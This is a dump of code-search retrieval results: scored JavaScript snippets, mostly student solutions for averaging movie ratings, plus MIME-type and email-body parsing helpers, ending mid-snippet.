{ "docid": "c079306f0053f020dd620e82cbde7754", "score": "0.6912595", "text": "function ratesAverage(movies) {\n let output = movies.reduce((ac, cu) => ac + +cu.rate, 0) / movies.length;\n let average = +output.toFixed(2);\n return average;\n}", "title": "" }, { "docid": "82aeced49e89e7de24c05e8f7a0f97c7", "score": "0.6875058", "text": "function ratesAverage(movies) {\n let avg = movies.reduce((ac, cu) => ac + +cu.rate, 0) / movies.length;\n\n return parseFloat(avg.toFixed(2));\n}", "title": "" }, { "docid": "fe1c24b6c8c31ef007c10470ad7195f6", "score": "0.6872685", "text": "function ratesAverage(allMovies) {\n if (allMovies == false) {\n return 0;\n }\n const totalRates = allMovies.reduce(function(sum, singleRate) {\n return (sum += singleRate.rate);\n }, 0);\n const avgRate = totalRates / allMovies.length;\n return Math.round(avgRate * 100) / 100;\n}", "title": "" }, { "docid": "9b4aafd62f70a3042d5007c6587c9280", "score": "0.6872218", "text": "function ratesAverage(movies) {\n // Get all the rates and store them in an array\n var ratesArray = movies.map(function(movie) {\n return parseFloat(movie.rate);\n });\n\n // \"reduce\" the data to a single value (add all rates together)\n var rateSum = ratesArray.reduce(function(accumulator, value) {\n return (accumulator += value);\n }, 0);\n\n // => find the average of all rates\n var average = (rateSum / ratesArray.length).toFixed(2);\n // display average on the console\n return parseFloat(average);\n // return \"The average is \" + average;\n}", "title": "" }, { "docid": "0a4262b8ce0dfab9ee3ef6a8b11af2d5", "score": "0.68699473", "text": "function ratesAverage (movies) {\n return movies.reduce((acumRate, movie)=>{\n return acumRate + movie.rate;\n\n }, 0)/movies.length;\n}", "title": "" }, { "docid": "b4d59478e6482d66825534de7f35c299", "score": "0.6867268", "text": "averageRating(rateArray) {\n\t\treturn ((rateArray.reduce((acc, rating) => {\n return acc + rating\n }, 0))/rateArray.length);\n\t}", "title": "" }, { "docid": "4de7d0cfbce1a96548b5c29e02b1f024", "score": "0.6860278", "text": "function ratesAverage(movies) {\n let rates = movies.reduce(function(initialValue, current) {\n let baseArray = Object.keys(movies);\n let base = baseArray.length;\n return initialValue + parseFloat(current.rate) / base;\n }, 0);\n}", "title": "" }, { "docid": "d1e4c69507a35e0be6d1e63ca5b126f9", "score": "0.683864", "text": "function ratesAverage(movies) {\n\n //map: create array with just the rates\n //parseFloat: turn all strings into numbers.\n let ratesArr = movies.map(function (obj) {\n return parseFloat(obj.rate);\n })\n\n //reduce: calculate the sum of the rate-array with \n let sumRatesArr = ratesArr.reduce(function (accumulator, value) {\n return accumulator + value;\n }, 0)\n\n //calculate the average of the rates\n //toFixed: round average to 2 decimals\n let average = (sumRatesArr / movies.length).toFixed(2);\n return (average);\n}", "title": "" }, { "docid": "ef9891dc42eb184f78906cf79a556633", "score": "0.68286985", "text": "function ratesAverage(movies){\n if (movies.length===0){\n return 0\n }else {\n var reducer= movies.map(function(element){\n if(element.rate>0){\n return element.rate\n }else{\n return 0;\n }\n });\n console.log(reducer); \n var sum = reducer.reduce(function (accumulator, cucurrentValue) {\n return (accumulator + cucurrentValue)\n });\n return Math.round((sum/reducer.length)*100)/100\n }\n}", "title": "" }, { "docid": "a1794d3b07c3760963b13c2656c30519", "score": "0.6807669", "text": "function ratesAverage(movies) {\n let sumRate = movies.reduce(function (acc, movieRate) {\n return acc + movieRate.rate;\n }, 0);\n\n const totalAverage = (sumRate / movies.length).toFixed(2);\n return totalAverage;\n}", "title": "" }, { "docid": "3dad34cde86f327db55ef3ce1193e180", "score": "0.6805315", "text": "function ratesAverage(movies) {\n if (movies.length === 0) {\n return 0;\n }\n const totalRate = movies.reduce(function (acc, rating) {\n if (typeof rating.rate === \"number\") {\n return acc + rating.rate;\n } else {\n return acc + 0;\n }\n }, 0); \n let avgRate = totalRate/movies.length\n return Math.round(avgRate * 100) / 100\n}", "title": "" }, { "docid": "553a18b520474bf03417d669dd58dd42", "score": "0.6791517", "text": "function ratesAverage(movies) {\n if (!movies.length) return 0;\n const allRatings = [];\n const getRates = movies.forEach((movie) => {\n if (typeof movie.rate == \"number\") {\n allRatings.push(movie.rate);\n } else {\n allRatings.push(0);\n }\n });\n\n const avgRates =\n allRatings.reduce((acc, val) => acc + val) / allRatings.length;\n return Number(avgRates.toFixed(2));\n}", "title": "" }, { "docid": "710d8e173ec2b3a17706154f49c99fdf", "score": "0.6766861", "text": "function ratesAverage (Array){\n var part = movies.reduce(function(sum, rate2){\n console.log(sum, rate2.rate);\n return sum + rate2.rate;\n } ,0)\n}", "title": "" }, { "docid": "524fe86f7c0ed20f5c1b4ac0f8d5908e", "score": "0.6738638", "text": "average() {\n let total = 0;\n for (let i = 0; i < this.scores.length; i++) {\n total += this.scores[i];\n }\n return Math.round(total / this.scores.length * 10) / 10;\n }", "title": "" }, { "docid": "432c096bc25e0eccd883d353771c51e7", "score": "0.6733735", "text": "getAverageRating() {\n let ratingsSum = this._ratings.reduce((currentSum, rating) => currentSum + rating, 0);\n return ratingsSum / this._ratings.length;\n }", "title": "" }, { "docid": "9ce3061e89eff712c2cad8637e612f07", "score": "0.6711799", "text": "averagingRatings(ratingsList) {\n let ratingsArr = ratingsList.map((Rate) => Rate.rating);\n console.log(ratingsArr);\n let average = ratingsArr.reduce((total, next) => total + next, 0) /\n ratingsArr.length;\n console.log(\"average :\" + average);\n return average;\n }", "title": "" }, { "docid": "bd76e3de0c8c88c978ec0fc1f381ce19", "score": "0.6672989", "text": "function ratesAverage(arrayOfMovies) {\n let averageRate = 0;\n let newArr = arrayOfMovies.filter(obj => Object.keys(obj).includes('rate'))\n if (arrayOfMovies.length == 0) return averageRate;\n newArr.forEach(movies => averageRate += movies.rate);\n return Math.round(100 * averageRate / arrayOfMovies.length)/100;\n}", "title": "" }, { "docid": "b26171260de30198496a4e694e57ca28", "score": "0.6662393", "text": "function ratesAverage(movies) {\n if (movies.length === 0) return 0;\n let newMovies = movies.filter(value => value.rate !== undefined);\n let average = newMovies.reduce((accumulator, value) => accumulator + value.rate, 0);\n return Math.round((average / movies.length) * 100) / 100;\n}", "title": "" }, { "docid": "822e19cbd6bb846fbdddb8b251793cdd", "score": "0.6657968", "text": "function ratesAverage(movies) {\n const averages = movies.reduce((sum, movies) => {\n return sum + movies.rate;\n }, 0);\n\n return (averages / movies.length)\n}", "title": "" }, { "docid": "d9d57a2ba22c8fcf4c92be10fa80c919", "score": "0.6651274", "text": "function ratesAverage(movies) {\n let totalSum = movies.reduce((acc, elm) => {\n if (elm.rate) {\n return acc + elm.rate;\n } else {\n return acc;\n }\n }, 0);\n if (movies.length === 0) {\n return 0;\n } else {\n return totalSum / movies.length;\n }\n}", "title": "" } ]
5de92dd6c1f74b01302bb77972a55512
Leaf MIME part, defaulting to text/plain.
[ { "docid": "da970eb419be1d49d76f7648ffd3b5a2", "score": "0.0", "text": "function SyntheticPartLeaf(aBody, aProperties) {\n SyntheticPart.call(this, aProperties);\n this.body = aBody;\n}", "title": "" } ]
[ { "docid": "742ae5f25a2658025fb068ccbb304946", "score": "0.5934385", "text": "function parseMIME(request) {\n var offset = request.lastIndexOf('.');\n if(offset == -1) {\n return 'text/plain';\n }\n switch(request.substr(offset)) {\n case '.html': return 'text/html';\n case '.js': return 'text/js';\n case '.png': return 'image/png';\n case '.css': return 'text/css';\n case '.xml': return 'Application/xml';\n default: return 'text/plain';\n } \n}", "title": "" }, { "docid": "72c1cb64b25919b90bd11e275b9b169f", "score": "0.54657793", "text": "function extractContentType(e){const t=e.body;return null===t?null:\"string\"==typeof t?\"text/plain;charset=UTF-8\":isURLSearchParams(t)?\"application/x-www-form-urlencoded;charset=UTF-8\":t instanceof Blob?t.type||null:Buffer.isBuffer(t)?null:\"[object ArrayBuffer]\"===Object.prototype.toString.call(t)?null:ArrayBuffer.isView(t)?null:\"function\"==typeof t.getBoundary?`multipart/form-data;boundary=${t.getBoundary()}`:null}", "title": "" }, { "docid": "da3e69acb008d3a274fd1d0cc7628ec6", "score": "0.53893876", "text": "function mimeTreeToStructure(node, partId, partMap, partialNode) {\n var structure = [];\n var contentType = node.meta.contentType.split('/');\n var typeInfo = {};\n typeInfo.type = contentType[0];\n typeInfo.subtype = contentType[1];\n typeInfo.params = {};\n typeInfo.params.boundary = node.meta.mimeBoundary || null;\n typeInfo.params.format = node.meta.textFormat || null;\n typeInfo.params.charset = node.meta.charset || null;\n typeInfo.params.name = node.meta.fileName || null;\n if (node.meta.contentDisposition) {\n typeInfo.disposition = {\n type: node.meta.contentDisposition,\n params: {},\n };\n if (node.meta.fileName) {\n typeInfo.disposition.params.filename = node.meta.fileName;\n }\n }\n typeInfo.partID = partId || '1';\n typeInfo.id = node.meta.contentId;\n typeInfo.encoding = 'binary'; // we already decoded it\n typeInfo.size = node.content && node.content.length || 0;\n typeInfo.description = null; // unsupported (unnecessary)\n typeInfo.lines = null; // unsupported (unnecessary)\n typeInfo.md5 = null; // unsupported (unnecessary)\n\n // XXX: see ActiveSync Folder._updateBody. Unit tests get angry if\n // there's a trailing newline in a body part.\n if (node.content != null) {\n if (typeInfo.type === 'text' &&\n node.content.length &&\n node.content[node.content.length - 1] === '\\n') {\n node.content = node.content.slice(0, -1);\n typeInfo.size--;\n }\n partMap[typeInfo.partID] = node.content;\n // If this node was only partially downloaded, note it as such\n // in a special key on partMap. We'll use this key to later\n // indicate that this part's size should be calculated based on\n // the bytes we have not downloaded yet.\n if (partialNode === node) {\n partMap['partial'] = typeInfo.partID;\n }\n }\n\n structure.push(typeInfo);\n if (node.childNodes.length) {\n for (var i = 0; i < node.childNodes.length; i++) {\n var child = node.childNodes[i];\n structure.push(mimeTreeToStructure(\n child, typeInfo.partID + '.' + (i + 1), partMap, partialNode));\n }\n }\n return structure;\n }", "title": "" }, { "docid": "a97b742f06c0aac2f3b1942eb5719744", "score": "0.5333865", "text": "function obtenerTipoMIME(c) {return c.replace(/data:([^;]+).*/, '\\$1');}", "title": "" }, { "docid": "e8a534dc3283e5a1f7c83b81c97423ca", "score": "0.52836806", "text": "getFileExtension(contentType) {\n return _.get(contentToExt, contentType, 'txt')\n }", "title": "" }, { "docid": "537d161d1ba77f2b43ce1cb018b025a3", "score": "0.5256886", "text": "function getContentType(filename) {\n var tokens = filename.split('.');\n var extension = tokens[tokens.length - 1];\n return contentTypesByExtension[extension] || 'text/plain';\n}", "title": "" }, { "docid": "7e9812e6b7a319e038c0b20fa713f386", "score": "0.5185487", "text": "function tidyContentType( text ) {\n \tif( text ) {\n \t\tres = text.split(\" (\");\n \t\ttext = res[0];\n \t}\n \treturn( text );\n }", "title": "" }, { "docid": "94915a29001253ae0b42838140bf817d", "score": "0.5149109", "text": "function chewStructure(msg) {\n // imap.js builds a bodystructure tree using lists. All nodes get wrapped\n // in a list so they are element zero. Children (which get wrapped in\n // their own list) follow.\n //\n // Examples:\n // text/plain =>\n // [{text/plain}]\n // multipart/alternative with plaintext and HTML =>\n // [{alternative} [{text/plain}] [{text/html}]]\n // multipart/mixed text w/attachment =>\n // [{mixed} [{text/plain}] [{application/pdf}]]\n var attachments = [], bodyReps = [], unnamedPartCounter = 0,\n relatedParts = [];\n\n /**\n * Sizes are the size of the encoded string, not the decoded value.\n */\n function estimatePartSizeInBytes(partInfo) {\n var encoding = partInfo.encoding.toLowerCase();\n // Base64 encodes 3 bytes in 4 characters with padding that always\n // causes the encoding to take 4 characters. The max encoded line length\n // (ignoring CRLF) is 76 bytes, with 72 bytes also fairly common.\n // As such, a 78=19*4+2 character line encodes 57=19*3 payload bytes and\n // we can use that as a rough estimate.\n if (encoding === 'base64') {\n return Math.floor(partInfo.size * 57 / 78);\n }\n // Quoted printable is hard to predict since only certain things need\n // to be encoded. It could be perfectly efficient if the source text\n // has a bunch of newlines built-in.\n else if (encoding === 'quoted-printable') {\n // Let's just provide an upper-bound of perfectly efficient.\n return partInfo.size;\n }\n // No clue; upper bound.\n return partInfo.size;\n }\n\n function chewLeaf(branch) {\n var partInfo = branch[0], i,\n filename, disposition;\n\n // - Detect named parts; they could be attachments\n // filename via content-type 'name' parameter\n if (partInfo.params && partInfo.params.name) {\n filename = $mimelib.parseMimeWords(partInfo.params.name);\n }\n // filename via content-type 'name' with charset/lang info\n else if (partInfo.params && partInfo.params['name*']) {\n filename = parseRfc2231CharsetEncoding(\n partInfo.params['name*']);\n }\n // rfc 2231 stuff:\n // filename via content-disposition filename without charset/lang info\n else if (partInfo.disposition && partInfo.disposition.params &&\n partInfo.disposition.params.filename) {\n filename = $mimelib.parseMimeWords(partInfo.disposition.params.filename);\n }\n // filename via content-disposition filename with charset/lang info\n else if (partInfo.disposition && partInfo.disposition.params &&\n partInfo.disposition.params['filename*']) {\n filename = parseRfc2231CharsetEncoding(\n partInfo.disposition.params['filename*']);\n }\n else {\n filename = null;\n }\n\n // - Start from explicit disposition, make attachment if non-displayable\n if (partInfo.disposition)\n disposition = partInfo.disposition.type.toLowerCase();\n // UNTUNED-HEURISTIC (need test cases)\n // Parts with content ID's explicitly want to be referenced by the message\n // and so are inline. (Although we might do well to check if they actually\n // are referenced. This heuristic could be very wrong.)\n else if (partInfo.id)\n disposition = 'inline';\n else if (filename || partInfo.type !== 'text')\n disposition = 'attachment';\n else\n disposition = 'inline';\n\n // Some clients want us to display things inline that we simply can't\n // display (historically and currently, PDF) or that our usage profile\n // does not want to automatically download (in the future, PDF, because\n // they can get big.)\n if (partInfo.type !== 'text' &&\n partInfo.type !== 'image')\n disposition = 'attachment';\n\n // - But we don't care if they are signatures...\n if ((partInfo.type === 'application') &&\n (partInfo.subtype === 'pgp-signature' ||\n partInfo.subtype === 'pkcs7-signature'))\n return true;\n\n function stripArrows(s) {\n if (s[0] === '<')\n return s.slice(1, -1);\n return s;\n }\n\n function makePart(partInfo, filename) {\n\n return mailRep.makeAttachmentPart({\n name: filename || 'unnamed-' + (++unnamedPartCounter),\n contentId: partInfo.id ? stripArrows(partInfo.id) : null,\n type: (partInfo.type + '/' + partInfo.subtype).toLowerCase(),\n part: partInfo.partID,\n encoding: partInfo.encoding && partInfo.encoding.toLowerCase(),\n sizeEstimate: estimatePartSizeInBytes(partInfo),\n file: null,\n /*\n charset: (partInfo.params && partInfo.params.charset &&\n partInfo.params.charset.toLowerCase()) || undefined,\n textFormat: (partInfo.params && partInfo.params.format &&\n partInfo.params.format.toLowerCase()) || undefined\n */\n });\n }\n\n function makeTextPart(partInfo) {\n return mailRep.makeBodyPart({\n type: partInfo.subtype,\n part: partInfo.partID,\n sizeEstimate: partInfo.size,\n amountDownloaded: 0,\n // its important to know that sizeEstimate and amountDownloaded\n // do _not_ determine if the bodyRep is fully downloaded; the\n // estimated amount is not reliable\n // Zero-byte bodies are assumed to be accurate and we treat the file\n // as already downloaded.\n isDownloaded: partInfo.size === 0,\n // full internal IMAP representation\n // it would also be entirely appropriate to move\n // the information on the bodyRep directly?\n _partInfo: partInfo.size ? partInfo : null,\n content: ''\n });\n }\n\n if (disposition === 'attachment') {\n attachments.push(makePart(partInfo, filename));\n return true;\n }\n\n // - We must be an inline part or structure\n switch (partInfo.type) {\n // - related image\n case 'image':\n relatedParts.push(makePart(partInfo, filename));\n return true;\n break;\n // - content\n case 'text':\n if (partInfo.subtype === 'plain' ||\n partInfo.subtype === 'html') {\n bodyReps.push(makeTextPart(partInfo));\n return true;\n }\n break;\n }\n return false;\n }\n\n function chewMultipart(branch) {\n var partInfo = branch[0], i;\n\n // - We must be an inline part or structure\n // I have no idea why the multipart is the 'type' rather than the subtype?\n switch (partInfo.subtype) {\n // - for alternative, scan from the back to find the first part we like\n // XXX I believe in Thunderbird we observed some ridiculous misuse of\n // alternative that we'll probably want to handle.\n case 'alternative':\n for (i = branch.length - 1; i >= 1; i--) {\n var subPartInfo = branch[i][0];\n\n switch(subPartInfo.type) {\n case 'text':\n // fall out for subtype checking\n break;\n case 'multipart':\n // this is probably HTML with attachments, let's give it a try\n if (chewMultipart(branch[i]))\n return true;\n break;\n default:\n // no good, keep going\n continue;\n }\n\n switch (subPartInfo.subtype) {\n case 'html':\n case 'plain':\n // (returns true if successfully handled)\n if (chewLeaf(branch[i]))\n return true;\n }\n }\n // (If we are here, we failed to find a valid choice.)\n return false;\n // - multipart that we should recurse into\n case 'mixed':\n case 'signed':\n case 'related':\n for (i = 1; i < branch.length; i++) {\n if (branch[i].length > 1)\n chewMultipart(branch[i]);\n else\n chewLeaf(branch[i]);\n }\n return true;\n\n default:\n console.warn('Ignoring multipart type:', partInfo.subtype);\n return false;\n }\n }\n\n if (msg.structure.length > 1)\n chewMultipart(msg.structure);\n else\n chewLeaf(msg.structure);\n\n return {\n bodyReps: bodyReps,\n attachments: attachments,\n relatedParts: relatedParts,\n };\n}", "title": "" }, { "docid": "ff8859913abd54eb38c01b3c11237e25", "score": "0.5084524", "text": "function forceTextResponse(xhr) {\n if (xhr.overrideMimeType) {\n xhr.overrideMimeType(\"text/plain\");\n }\n }", "title": "" }, { "docid": "045621708ff098745dda3cb28807dc20", "score": "0.50013685", "text": "function hasTextMimetype(types) {\n if (!types) return true;\n for (var i = 0; i < types.length; i++) {\n if (types[i] === \"Text\" || types[i] === \"text/plain\") return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "045621708ff098745dda3cb28807dc20", "score": "0.50013685", "text": "function hasTextMimetype(types) {\n if (!types) return true;\n for (var i = 0; i < types.length; i++) {\n if (types[i] === \"Text\" || types[i] === \"text/plain\") return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "045621708ff098745dda3cb28807dc20", "score": "0.50013685", "text": "function hasTextMimetype(types) {\n if (!types) return true;\n for (var i = 0; i < types.length; i++) {\n if (types[i] === \"Text\" || types[i] === \"text/plain\") return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "646a4deaf355c03d6082b134876eaa70", "score": "0.4978322", "text": "function _getFileExtensionFromContentType(str){\n return \".\" + str.split('/').pop()\n }", "title": "" }, { "docid": "f42a2bce531a237cb70553addddc5651", "score": "0.49703294", "text": "deliverPartData(partNum, data) {\n // Get the most recent part from the hierarchical parts stack.\n let currentPart = this.partsPath[this.partsPath.length - 1];\n\n if (typeof data === \"string\") {\n currentPart.body += data;\n } else {\n currentPart.body += String.fromCharCode(...data);\n }\n }", "title": "" }, { "docid": "d8ee0e0c23bebbdd415f97ef4d8200c0", "score": "0.4945131", "text": "function extToContentType(ext) {\n\tvar contentType;\n\n\tswitch (ext) {\n\t\tcase '.html':\n\t\t\tcontentType = \"text/html\";\n\t\t\tbreak;\n\t\tcase '.ejs':\n\t\t\tcontentType = \"text/html\";\n\t\t\tbreak;\n\t\tcase '.css':\n\t\t\tcontentType = \"text/css\";\n\t\t\tbreak;\n\t\tcase '.js':\n\t\t\tcontentType = 'text/javascript';\n\t\t\tbreak;\n\t\tcase '.json':\n\t\t\tcontentType = 'application/json';\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tcontentType = 'text/plain';\n\t\t\tbreak;\n\t}\n\n\treturn contentType;\n}", "title": "" }, { "docid": "d8ee0e0c23bebbdd415f97ef4d8200c0", "score": "0.4945131", "text": "function extToContentType(ext) {\n\tvar contentType;\n\n\tswitch (ext) {\n\t\tcase '.html':\n\t\t\tcontentType = \"text/html\";\n\t\t\tbreak;\n\t\tcase '.ejs':\n\t\t\tcontentType = \"text/html\";\n\t\t\tbreak;\n\t\tcase '.css':\n\t\t\tcontentType = \"text/css\";\n\t\t\tbreak;\n\t\tcase '.js':\n\t\t\tcontentType = 'text/javascript';\n\t\t\tbreak;\n\t\tcase '.json':\n\t\t\tcontentType = 'application/json';\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tcontentType = 'text/plain';\n\t\t\tbreak;\n\t}\n\n\treturn contentType;\n}", "title": "" }, { "docid": "92455aa9b74a39535baed26e0a240a57", "score": "0.48968685", "text": "function getContentType(filePath){\n\treturn {'Content-Type' : MIME_TYPES.lookup(filePath) || 'text/html'};\n}", "title": "" }, { "docid": "b9112fc8c95bd2a06d50680a5774aa11", "score": "0.48469812", "text": "text() {\n\t\treturn consumeBody.call(this).then(buffer => buffer.toString());\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "a89cd48924ad12b051fa35498b50ce37", "score": "0.4818309", "text": "text() {\n\t\treturn consumeBody.call(this).then(function (buffer) {\n\t\t\treturn buffer.toString();\n\t\t});\n\t}", "title": "" }, { "docid": "9e7265fa0006198b7e5b9b963861c619", "score": "0.47733533", "text": "match( mime, )\n\t{\n\t\tconst [ type, subtype=null, ]= mime.split( '/', );\n\t\t\n\t\tif( !subtype )\n\t\t\tthrow new Error( `MIME type ${mime} is invalid`, );\n\t\t\n\t\treturn this.matchSplited( type, subtype, );\n\t}", "title": "" }, { "docid": "49a5f027f40b6a327f1cb8cadcda6dcf", "score": "0.47640425", "text": "getContentType (filePath) {\n const ext = _.last(filePath.split('.'))\n return _.get(extToContent, ext, false)\n }", "title": "" }, { "docid": "39c2607fef4e6953d5129e04646cd224", "score": "0.47629637", "text": "extractMimeMsg(input, options) {\n var emitter = Object.create(ExtractMimeMsgEmitter);\n // Set default options.\n emitter.options = {\n includeAttachments: true,\n getMimePart: \"\",\n };\n // Overide default options.\n for (let option of Object.keys(options)) {\n emitter.options[option] = options[option];\n }\n\n MimeParser.parseSync(input, emitter, {\n // jsmime does not use the \"1.\" prefix for the 